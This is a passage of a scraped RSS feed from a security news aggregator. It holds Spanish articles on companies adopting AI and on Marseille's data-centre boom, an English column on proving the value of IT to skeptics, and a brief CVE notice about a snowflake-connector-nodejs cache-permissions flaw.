<p>El reconocimiento de su aportación pasa no solo por el negocio, sino también por su aporte a quienes la emplean: un 96% de empresas españolas apunta a estas herramientas como una oportunidad de crecimiento profesional para su personal, y un 93% incide en la mejora de la calidad de vida laboral, según un reciente <a href="https://www.pluxee.es/landing/estudio-tendencias-rrhh-2025/?utm_source=ndp&amp;utm_medium=referral&amp;utm_campaign=tendencias_2025" target="_blank" rel="nofollow">estudio</a>. </p>



<p>Sin embargo, <strong>el camino a la integración se revela desigual</strong>: el Observatorio Nacional de Tecnología y Sociedad (ONTSI) <a href="https://www.ontsi.es/sites/ontsi/files/2025-04/indicadores-de-uso-de-ia-en-espana.pdf" rel="nofollow">cifr</a><a href="https://www.ontsi.es/sites/ontsi/files/2025-04/indicadores-de-uso-de-ia-en-espana.pdf" target="_blank" rel="nofollow">a</a> en un 44% las empresas de más de 249 personas que empleaban en 2024 IA, frente al 20,6% de medianas compañías, el 8,6% de pequeñas firmas y el 7% de microempresas. Otro <a href="https://www.seidor.com/es-es/noticias/31-empresas-espanolas-no-aplicar-inteligencia-artificial-competitividad" target="_blank" rel="nofollow">informe</a> avanza que una de cada tres empresas en el país no tiene claro cómo aplicar la IA para ganar competitividad, pese a prever invertir más.</p>



<h2 class="wp-block-heading">Desafíos en la integración</h2>



<p>Pese a la desigual integración, no falta voluntad: nueve de cada diez cargos directivos en España tiene prevista una estrategia de despliegue, según un <a href="https://www.kyndryl.com/es/es/about-us/news/2025/05/ai-workforce-impact-report" target="_blank" rel="nofollow">estudio</a> de Kyndryl. De ahí la importancia de alinear con la fuerza de trabajo la integración de esta “ola de nuevas tecnologías disruptivas”, como las califica Carolina Calvillo. La senior principal en la división de IT de Robert Walters enumera una serie de retos en su despliegue, que deben ser abordados “no solamente desde áreas de tecnología o recursos humanos, sino también de manera global a nivel de dirección”. </p>



<p>Calvillo identifica un desafío principal “en cómo aplicar la IA en el día a día”, entendida tanto su afectación en los puestos de trabajo como su encaje en un marco legal que va por detrás del desarrollo tecnológico. “También, para los departamentos de recursos humanos, <strong>va a existir una base, unas nuevas <em>skills</em> que van a ser <em>core</em> o trasversales a cualquier persona</strong>”.</p>



<p>Contar con estas habilidades no resultará siempre fácil, según detalla Juan Duce, director de Marketing y Estrategia en la Asociación para el Progreso de la Dirección (APD), quien reconoce que “<strong>el principal freno es humano</strong>”.<em> “</em>El miedo de los empleados a ser reemplazados genera resistencia pasiva, bloqueos y nula colaboración en la adopción de IA”, una situación que obliga a rediseñar roles y flujos internos, con “un alto grado de acompañamiento humano”. Duce sitúa en alrededor de un tercio el porcentaje de proyectos de IA que se paralizan por falta de propósito. “Muchas empresas se lanzan a crear soluciones sin la colaboración de quienes van a evolucionar las herramientas”, profundiza, frente a lo que recomienda “sensibilización, participación de los equipos y mensajes de protección del talento. <strong>No se trata solo de instalar IA, sino de activarla dentro de la cultura</strong>”.<em>  </em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?quality=50&amp;strip=all" alt="Carolina Calvillo" class="wp-image-4046016" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?quality=50&amp;strip=all 449w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=150%2C150&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=300%2C300&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=168%2C168&amp;quality=50&amp;strip=all 168w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=84%2C84&amp;quality=50&amp;strip=all 84w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=360%2C360&amp;quality=50&amp;strip=all 360w, https://b2b-contenthub.com/wp-content/uploads/2025/08/carolina-calvillo.jpg?resize=250%2C250&amp;quality=50&amp;strip=all 250w" width="449" height="449" sizes="auto, (max-width: 449px) 100vw, 449px"><figcaption class="wp-element-caption"><p>Carolina Calvillo, senior principal divisón IT de Robert Walters</p></figcaption></figure><p class="imageCredit">Robert Walters</p></div>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“[Con la IA] se darán unas nuevas <em>skills</em> trasversales a cualquier persona”</p>



<p>Carolina Calvillo</p>
</blockquote>



<p>Integrar, precisamente, sería la palabra clave en este proceso para el directivo de la APD, quien apunta a un nuevo concepto: <strong>el integrador IA</strong>. Frente a la obsesión por acertar por dónde empezar estos proyectos, plantea integrar los sistemas, explorar y, a partir de ahí, trabajar en siguientes desarrollos. “La integración debe ser progresiva, con fases de prueba controladas y aprendizaje continuo. Además, el acompañamiento de las personas va a ser esencial. No basta con formaciones genéricas; es necesario diseñar experiencias de aprendizaje adaptadas a cada perfil profesional”. </p>



<p>A esto suma la medición y evaluación tanto de la eficiencia de las herramientas como de su valoración por quienes la usan. En este sentido, Calvillo reconoce ya una mayor cooperación entre equipos. “La transformación digital siempre ha sido algo muy del departamento de tecnología, pero ahora ya no”, destaca. “<strong>Exige el compromiso no solamente de recursos humanos ni de divisiones aisladas, sino de manera transversal a todas las áreas implicadas de la empresa</strong>. Exige más trabajo colaborativo, más equipos por proyecto y una altura de miras y un compromiso, sobre todo de la dirección”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Juan Duce, director de Marketing y Estrategia en APD" class="wp-image-4046022" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?quality=50&amp;strip=all 2116w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=150%2C150&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=300%2C300&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=768%2C768&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=1024%2C1024&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=1536%2C1536&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=2048%2C2048&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=1240%2C1240&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=697%2C697&amp;quality=50&amp;strip=all 697w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=168%2C168&amp;quality=50&amp;strip=all 168w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=84%2C84&amp;quality=50&amp;strip=all 84w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=480%2C480&amp;quality=50&amp;strip=all 480w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=360%2C360&amp;quality=50&amp;strip=all 360w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Juan-Duce-Reblet-foto.jpg?resize=250%2C250&amp;quality=50&amp;strip=all 250w" width="1024" height="1024" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Juan Duce, director de Marketing y Estrategia en APD</p>
</figcaption></figure><p class="imageCredit">APD</p></div>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“No se trata solo de instalar IA, sino de activarla dentro de la cultura”</p>



<p>Juan Duce</p>
</blockquote>



<p>Esta transversalidad implica acciones concretas, como el abordaje de carencias tecnológicas en la plantilla, identificando grupos de población que puedan verse especialmente afectados. Es el caso de generaciones senior que, frente a las nuevas generaciones que integran IA de forma orgánica, pueden necesitar de mayor implicación no solo para formar sino, también, para explicar beneficios. La representante de Robert Walters apuesta, entre otras medidas, por establecer equipos de trabajo o profesionales como <em>key users</em>, para validar herramientas y proponer áreas de mejora a través de las facilitar el despliegue.</p>



<h2 class="wp-block-heading">En primera persona</h2>



<p>Estas y otras estrategias están ya poniéndose en marcha en varias empresas españolas, como Ferrovial. Alberto Terol, Head of Digital Change Management de la compañía, explica que se está realizando un despliegue transversal de la IA, “con un <a href="https://www.cio.com/article/4019382/centros-de-competencia-en-ia-experiencia-iberdrola-mapfre.html" target="_blank">Centro de Excelencia en IA</a> que impulsa proyectos en todas las áreas funcionales y negocios”. </p>



<p>Distingue varios casos de uso clave, como el mantenimiento de infraestructuras, donde cita el caso de un <strong>tren herbicida</strong> con visión apoyada por inteligencia artificial para detectar vegetación en vías férreas. De este modo, explica, se optimiza el uso de estos productos, “reduciéndolos en más del 80%”. Otros ejemplos: inspecciones automatizadas mediante drones para revisar pistas de aeropuertos, modelos predictivos en construcción para estimar costes y minimizar riesgos o herramientas de productividad interna, con un asistente de IA generativa corporativo de apoyo a la plantilla en las tareas diarias. “<strong>El uso de la IA en la compañía nos permite ser más eficientes, mejorar la seguridad e impulsar la innovación en cada proceso de negocio</strong>, siempre desde la visión de avanzar en la mejora de la experiencia de nuestros empleados”, sintetiza.</p>



<p>Desde SantaLucía Javier Sanchís, su director corporativo de Tecnología, define un proceso “continuo, con una apuesta clara y decidida, pero afrontando cada reto y desafío con responsabilidad y de una manera ordenada”. En su despliegue identifica un proceso de validación por áreas de conformidad, como son asesoría jurídica, cumplimiento normativo y seguridad. “Esto nos permite tener la garantía de que <strong>cumplimos con todos los requerimientos regulatorios</strong> antes de poner en producción cualquier activo. El ritmo al que avanza esta tecnología nos obliga a estar constantemente monitorizando herramientas y analizándolas desde un enfoque mixto negocio-tecnología”, resume. Reconoce la necesidad de integrar IA “para seguir siendo competitivo con respecto al mercado”, haciéndolo “de manera ágil y en todas las verticales”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Alberto Terol, Head of Digital Change Management de Ferrovial " class="wp-image-4046026" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=1046%2C697&amp;quality=50&amp;strip=all 1046w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/08/Alberto-Terol-Head-of-Digital-Change-Management-en-Ferrovial.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Alberto Terol, Head of Digital Change Management de Ferrovial </p>
</figcaption></figure><p class="imageCredit">Ferrovial</p></div>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“El uso de la IA en la compañía nos permite ser más eficientes, mejorar la seguridad e impulsar la innovación en cada proceso de negocio”</p>



<p>Alberto Terol</p>
</blockquote>



<p>A nivel organizacional, explica, “encontrar la fórmula que permita maximizar los recursos y su localización es un gran desafío”, que implica tanto una estrategia de formación global —entendiendo la tecnología y sus implicaciones— como la captación de nuevos talentos. “Es una tecnología que afecta a todos y debe analizarse desde un punto de vista global. Se deben diseñar, a diferentes niveles, estas sesiones, para sacar el máximo rendimiento desde un punto de vista táctico y estratégico”. Terol incide en la gestión de la resistencia al cambio del personal, “miedo a lo desconocido o a ser reemplazados”, así como la alineación de la IA con la estrategia de la compañía, demostrando su impacto positivo; la adaptación de los procesos internos y roles; y el establecimiento de políticas éticas claras. “Ferrovial aborda estos retos con una robusta gestión del cambio, formación continua a la plantilla y un cuidadoso gobierno de datos y de todos los programas IA”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?w=1024" alt="Javier Sanchís, director corporativo de Tecnología de SantaLucía" class="wp-image-4046032" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?quality=50&amp;strip=all 1472w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=300%2C225&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=768%2C575&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=1024%2C767&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=930%2C697&amp;quality=50&amp;strip=all 930w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=224%2C168&amp;quality=50&amp;strip=all 224w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=112%2C84&amp;quality=50&amp;strip=all 112w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=641%2C480&amp;quality=50&amp;strip=all 641w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=480%2C360&amp;quality=50&amp;strip=all 480w, https://b2b-contenthub.com/wp-content/uploads/2025/08/202507_JSanchis_Foto3.png?resize=334%2C250&amp;quality=50&amp;strip=all 334w" width="1024" height="767" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Javier Sanchís, director corporativo de Tecnología de SantaLucía</p>
</figcaption></figure><p class="imageCredit">SantaLucía</p></div>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“Encontrar la fórmula que permita maximizar los recursos y su localización es un gran desafío”</p>



<p>Javier Sanchís</p>
</blockquote>



<p>Ambos profesionales destacan la importancia de un trabajo conjunto entre recursos humanos y TI para el éxito en el despliegue. “<strong>Podemos considerar la IA una revolución, que requiere de adaptación y agilidad a diferentes niveles</strong>”, profundiza Sanchís, quien reconoce la necesidad de la colaboración entre TI y RRHH “para poder diseñar y llevar a cabo planes de acción que permitan maximizar el potencial de nuestros recursos”. </p>



<p>Terol sintetiza: “Realmente trabajamos en tándem, con equipos mixtos de Personas y Tecnología que colaboran en identificar casos de uso de IA con valor, pilotan proyectos, miden el impacto en negocio y en la organización y las personas, y acompañan a los usuarios durante la adopción. Este trabajo orquestado y en conjunto, asegura que la IA aporte valor real, siendo aceptada y utilizada correctamente por las personas”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Winning over IT value skeptics: CIO job No. 1]]></title>
<description><![CDATA[To succeed, CIOs need to be perceived as value creators. At the beating core of any great IT organization is the ability to deconstruct the various technological components, management processes, and mental models necessary to maximize business value today.



Career realpolitik tells us that dee...]]></description>
<link>https://tsecurity.de/de/2958084/it-security-nachrichten/winning-over-it-value-skeptics-cio-job-no-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2958084/it-security-nachrichten/winning-over-it-value-skeptics-cio-job-no-1/</guid>
<pubDate>Tue, 26 Aug 2025 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>To succeed, CIOs need to be perceived as value creators. At the beating core of any great IT organization is the ability to deconstruct the various technological components, management processes, and mental models necessary to maximize business value today.</p>



<p>Career realpolitik tells us that deep in the back of the minds of the board of directors, executive peers, and rank-and-file employees is a subliminal, never-ending question of whether every dollar spent on IT generates a positive — let alone multiplying — return.</p>



<p>Still, while just about every actor in the digital economy is an IT value skeptic constantly questioning whether IT is delivering enough benefits, very few actually understand the gastronomy associated with baking the IT Value Pie.</p>



<p>Fifty-plus years into the digital economy and IT value creation remains a mystery to most key stakeholders. And before you think the metaphor is a stretch, perspective-rich, 20-plus-year, award-winning CIOs have told me that IT value creation is all too often like baking a pie. That includes Brian Shield, formerly CIO of the Boston Red Sox, now at Safe-Guard Products International; Mike Coleman, CIO at Phantom Fireworks; Kevin Burns, CIO at the City of Melbourne; Dennis Reiman, formerly CIO at Southern Connecticut State University; and Cheryl Smith, formerly CIO at McKesson.</p>



<p>According to these IT leadership gurus, you often have to put something in the oven and then peek inside to see how your pie looks. Getting a full-value IT pie out of the oven is not guaranteed.</p>



<h2 class="wp-block-heading">Flipping the script on conversations about IT</h2>



<p>Organizations that consistently deliver on the promise of IT have taken steps to eliminate much of the mystery associated in IT value baking. They are attempting a “no translation” form of technology management wherein tech spending is understood in the context of how it impacts quality of work, life, and bottom and top lines.</p>



<p>Step One involves having conversations with key stakeholders to help them understand the totality of the IT value creation process. When was the last time you sat in on a deep, free-ranging discussion about where IT value comes from? No doubt you’ve been involved in more emotional post-mortems of IT projects gone wrong than you’d prefer.</p>



<p>It would be fascinating to have the various AI tools floating around the economy do a semantic analysis of the totality of IT conversations in any given organization. One would probably find a significant percentage of conversations associated with finger-pointing, accountability avoidance, and “could’ve/should’ves.”</p>



<p>What percentage of IT conversations in your organization explicitly detail the ingredients of IT value creation and the processes associated with combining those ingredients to actually deliver value?</p>



<h2 class="wp-block-heading">The IT supplier equation</h2>



<p>Step Two of winning over IT value skeptics involves IT agency — that is, the capacity of an individual to act independently and make their own free choices. An individual is thought to have agency when they feel they are the one in control, rather than being controlled by external forces or circumstances. </p>



<p>In an ideal world, IT agency features an economic actor — a CEO, COO, or CMO — setting forth a measurable objective or outcome. Optimally, the IT organization thereupon comes up with a set of strategies, programs, and budgets detailing how best to achieve that objective or outcome utilizing the technology portfolio available. I am not certain that anyone on the demand side of the IT value exercise feels they are in control. I am specifically concerned that we may have ceded too much authority to IT suppliers.</p>



<p>In July 2025, there were nine firms with $1 trillion market capitalizations. Eight of them are tech companies. Conclusion being: Tech suppliers, particularly AI tech suppliers, are booming. The question IT value skeptics should be asking is, How much value is being captured by the demand side of the technology economy?</p>



<p>I am reminded of Fred Schwed Jr.’s investment classic <em>Where Are the Customers’ Yachts </em>(1940)<em>.</em> A visitor to New York observing all the yachts belonging to stockbrokers and investment advisors naively asked, “Where are the customers’ yachts?” The point of the book being there is far more money in providing financial advice than there is in receiving financial advice. Is the IT analog that there is much more money/value associated in supplying technology than there is in applying technology?</p>



<p>Are your suppliers universally perceived as adding value to the enterprise versus extracting value from it? Does every IT supplier contract require an accounting of benefits delivered before final payment is rendered?</p>



<p><strong>More from Thornton May:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4012899/business-survival-requires-an-it-org-that-stands-apart.html">Business survival requires an IT org that stands apart</a></li>



<li><a href="https://www.cio.com/article/3992824/the-great-it-disconnect-vendor-visions-of-the-future-vs-its-task-at-hand.html">The great IT disconnect: Vendor visions of the future vs. IT’s task at hand</a></li>



<li><a href="https://www.cio.com/article/3968848/managing-the-many-wes-of-it.html">Managing the many we’s of IT</a></li>



<li><a href="https://www.cio.com/article/3849731/in-turbulent-political-times-it-can-be-a-difference-maker.html">In turbulent political times, IT can be a difference maker</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-24791 | snowflakedb snowflake-connector-nodejs up to 2.0.1 Cache permissions]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in snowflakedb snowflake-connector-nodejs up to 2.0.1. This issue affects some unknown processing of the component Cache Handler. The manipulation results in preservation of permissions.

This vulnerability is reported as CVE-2025-24791. T...]]></description>
<link>https://tsecurity.de/de/2950626/sicherheitsluecken/cve-2025-24791-snowflakedb-snowflake-connector-nodejs-up-to-201-cache-permissions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2950626/sicherheitsluecken/cve-2025-24791-snowflakedb-snowflake-connector-nodejs-up-to-201-cache-permissions/</guid>
<pubDate>Wed, 20 Aug 2025 23:36:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/?kb.risk">critical</a> has been identified in <a href="https://vuldb.com/?product.snowflakedb:snowflake-connector-nodejs">snowflakedb snowflake-connector-nodejs up to 2.0.1</a>. This issue affects some unknown processing of the component <em>Cache Handler</em>. The manipulation results in preservation of permissions.

This vulnerability is reported as <a href="https://vuldb.com/?source_cve.294013">CVE-2025-24791</a>. The attack requires a local approach. No exploit exists.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cómo Marsella logró convertirse en la capital europea emergente de los centros de datos]]></title>
<description><![CDATA[Los medios franceses echan mano de un símil rápidamente identificable para resumir qué está pasando en Marsella. En los últimos cinco años, la ciudad mediterránea se ha convertido en El Dorado de los datos. Es la capital europea emergente de los centros de datos.



Dos son los puntos clave de co...]]></description>
<link>https://tsecurity.de/de/2949437/it-security-nachrichten/cmo-marsella-logr-convertirse-en-la-capital-europea-emergente-de-los-centros-de-datos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2949437/it-security-nachrichten/cmo-marsella-logr-convertirse-en-la-capital-europea-emergente-de-los-centros-de-datos/</guid>
<pubDate>Wed, 20 Aug 2025 13:34:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Los medios franceses echan mano de un símil rápidamente identificable para resumir qué está pasando en <strong>Marsella</strong>. En los últimos cinco años, la ciudad mediterránea se ha convertido en <strong>El Dorado de los datos</strong>. Es la capital europea emergente de los centros de datos.</p>



<p>Dos son los puntos clave de concentración de los data centers en Francia. Uno es la región de Île-de-France, donde se encuentra París y, por eso, un destino esperable para este tipo de infraestructuras. La otra es Marsella, la segunda ciudad más poblada del país vecino.</p>



<p>En la propia Marsella existen ya seis data centers (hay un séptimo en construcción, según la prensa gala) y la mitad de todos ellos está en el puerto. Como le <a href="https://www.lefigaro.fr/secteur/high-tech/comment-marseille-est-devenue-une-capitale-mondiale-des-centres-de-donnees-20250429" target="_blank" rel="nofollow">explica</a> a <em>Le Figaro</em> Victor Ragueneau, consultor especializado en logística y data centers de Knight Franck, “hoy en día, <strong>los gigantes mundiales del sector se dan codazos para instalarse en Marsella</strong>”.</p>



<p>Si hace unos años Marsella era la 44º ciudad del mundo por capacidad de datos, en 2023 <a href="https://www.radiofrance.fr/franceinfo/podcasts/dans-la-peau-de-l-info/dans-la-peau-de-l-info-ce-qu-il-faut-savoir-sur-les-data-centers-et-pourquoi-marseille-veut-freiner-leur-installation-2943022" target="_blank" rel="nofollow">era</a> ya la 7º, según un estudio de Telegeography, y en 2025 la sexta, según las estimaciones de <em>Le Figaro</em>. <strong>Ha conseguido adelantar ya a Hong Kong como <em>hub </em>de internet</strong>. “La ciudad tiene la vocación de convertirse en el segundo puerto mundial de internet tras Singapur”, le confirma al periódico parisino Fabrice Coquio, presidente en Francia de Digital Realty, la empresa de data centers que está detrás de muchos de los que ya se han instalado en la ciudad mediterránea.</p>



<p>Pero ¿qué ha llevado a Marsella a escalar como hub de internet? Las razones tienen que ver con lo local, cierto es, pero explican también qué está cambiando en el universo de internet y en la estrategia de data centers global. Igualmente, la respuesta de la propia ciudadanía de Marsella muestra las grandes líneas maestras de los retos a los que se enfrentan los centros de datos y los lugares en los que se instalan.</p>



<h2 class="wp-block-heading">El secreto del éxito de Marsella</h2>



<p>La primera razón que apuntala su éxito es similar a la que explica qué otras zonas se estén convirtiendo en puntos calientes de los data centers. Es el <strong>acceso a redes eléctricas y energía</strong>.</p>



<p>La siguiente, sin embargo, identifica un reto importante de la era de internet, en la que no solo importan los datos, sino también la rapidez. Ahí es donde Marsella tiene algo especial: <strong>cables submarino</strong>s. A la altura de 2025 la ciudad es punto de entrada en Europa de 18 cables submarinos (con cuatro en proyecto) y la <strong>parada más rápida para enviar la información entrante hacia las grandes capitales económicas europeas</strong>, como París, Frankfurt y hasta Londres.</p>



<p>Por eso no sorprende que el propio puerto marsellés sea el epicentro del boom de este El Dorado de los datos. Varias infraestructuras portuarias en desuso han sido reconvertidas en centros de datos, que dan servicios a los grandes gigantes globales. La prensa francesa ha identificado a Google, Facebook o Amazon, entre los clientes marselleses.</p>



<p>Y, finalmente, el impacto del boom de la IA está requiriendo cada vez más capacidad de datos, lo que explica en general el crecimiento de estas infraestructuras.</p>



<h2 class="wp-block-heading">El lado más gris del boom de Marsella</h2>



<p>Pero el boom de los datos marselleses no está exento de quejas. Las organizaciones ecologistas aparecen ya desde un primer momento en las noticias sobre este crecimiento señalando los efectos negativos que puede tener en el entorno.</p>



<p>Al tiempo, la prensa francesa recoge las <strong>dudas sobre el impacto económico de los centros de datos</strong>, que no generan grandes cantidades de puestos de trabajo y, en este caso, perjudican especialmente a quienes viven en los barrios de rentas más bajas. Sébastien Barles, teniente de alcalde de Marsella, <a href="https://elpais.com/tecnologia/2025-08-19/los-centros-de-datos-secan-el-puerto-de-marsella-consumen-enormes-cantidades-de-electricidad.html" target="_blank" rel="nofollow">concluye</a> en un análisis que <em>El País</em> acaba de dedicar a los costes de esta bonanza de datos: “Actualmente, los centros de datos solo tienen efectos negativos para los vecinos”.</p>



<p>En 2023, la ciudad ya pedía que se limitase y regulase dónde se podían instalar centros de datos en Francia, para que no se limitasen siempre a las mismas zonas. Ahora, que a los existentes se sumarán otros futuros, preocupa el <strong>consumo de electricidad</strong> (que podría llegar a igualar al de toda la población de la ciudad) y los <strong>efectos sobre el agua,</strong> tanto el consumo como los vertidos sobre el puerto. En este último punto, Digital Realty <a href="https://www.telerama.fr/debats-reportages/marseille-nouvel-eldorado-des-data-centers-mais-a-quel-prix-pour-l-environnement-7024745.php" target="_blank" rel="nofollow">asegura</a> que en 2026 el agua entrará en un ciclo de economía circular y que se usará tras refrigerar los centros de datos para la calefacción de uno de los barrios de Marsella.</p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,14ms -->